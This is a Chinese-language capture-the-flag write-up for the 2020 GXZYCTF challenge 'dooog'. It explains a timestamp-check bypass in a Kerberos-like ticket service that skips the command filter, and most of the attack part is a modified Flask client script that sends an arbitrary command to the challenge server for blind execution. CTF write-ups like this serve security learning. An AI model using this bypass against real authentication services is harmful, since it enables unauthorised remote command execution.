0%

2020 GXZYCTF dooog

题目很简单,逻辑捋清楚就行了,从client出发,先后向kdc的getTGT和getTicket发包校验,校验通过则发包到cmd执行,执行没有回显,主要在getTicket中的判断限制了cmd的内容,不过认真分析一下kdc源码,可以发现data变量是可控的,控制前一数据包中的timestamp使得int(time.time()) - data[‘timestamp’] > 60就可以了,所以修改client app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from flask import Flask, request, render_template, redirect, url_for, session, flash
from flask_bootstrap import Bootstrap
from form import RegisterForm, CmdForm
from toolkit import AESCipher
import os, requests, json, time, base64

app = Flask(__name__)
app.config["SECRET_KEY"] = os.urandom(32)
bootstrap = Bootstrap(app)

@app.route('/')
def index():
return render_template('index.html', form='')

@app.route('/cmd', methods=['GET', 'POST'])
def cmd():
form = CmdForm()
if request.method == 'GET':
return render_template('index.html', form=form)
elif request.method == 'POST':
if form.validate_on_submit():
username = form.username.data
master_key = form.master_key.data
cmd = form.cmd.data
print(username,master_key,cmd)
cryptor = AESCipher(master_key)
authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))
res = requests.post('http://121.37.164.32:5001/getTGT', data={'username': username, 'authenticator': base64.b64encode(authenticator)})
if res.content == 'time error':
flash('time error')
return redirect(url_for('index'))
if res.content.startswith('auth'):
flash('auth error')
return redirect(url_for('index'))
session['session_key'], session['TGT'] = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])), res.content.split('|')[1]
flash('GET TGT DONE')
#visit TGS
cryptor = AESCipher(session['session_key'])
authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': 1}))

res = requests.post('http://121.37.164.32:5001/getTicket', data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': session['TGT']})
if res.content == 'time error':
flash('time error')
return redirect(url_for('index'))
if res.content.startswith('auth'):
flash('auth error')
return redirect(url_for('index'))
if res.content == 'cmd error':
flash('cmd not allow')
return redirect(url_for('index'))
flash('GET Ticket DONE')
client_message, server_message = res.content.split('|')
session_key = cryptor.decrypt(base64.b64decode(client_message))
cryptor = AESCipher(session_key)
authenticator = base64.b64encode(cryptor.encrypt(username))
res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator})
return render_template('index.html', form='', flag=res.content)
return render_template('index.html', form=form)
else:
return 'error' , 500

@app.route('/register', methods=['GET','POST'])
def register():
form = RegisterForm()
if request.method == 'GET':
return render_template('index.html', form=form)
elif request.method == 'POST':
if form.validate_on_submit():
username = form.username.data
master_key = form.master_key.data
res = requests.post('http://121.37.164.32:5001/register', data={'username': username, 'master_key': master_key})
if res.content == 'duplicate username':
return redirect(url_for('register'))
elif res.content != '' :
session['id'] = int(res.content)
flash('register success')
return redirect(url_for('index'))
return render_template('index.html', form=form)
else:
return 'error' , 500

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port = 5000)

本地起一个服务来发包就行了

0-1583723326867